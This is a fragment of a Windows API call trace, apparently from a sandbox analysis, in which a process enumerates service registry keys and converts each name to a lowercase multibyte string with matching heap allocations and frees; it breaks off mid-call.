1 [0217.363] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.364] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.364] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.364] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.364] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0217.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.365] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.365] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.365] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0217.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.366] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.366] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.366] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.366] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0217.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.367] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.367] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.367] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0217.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.367] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.368] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.368] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.368] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0217.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.369] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.369] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bb0, 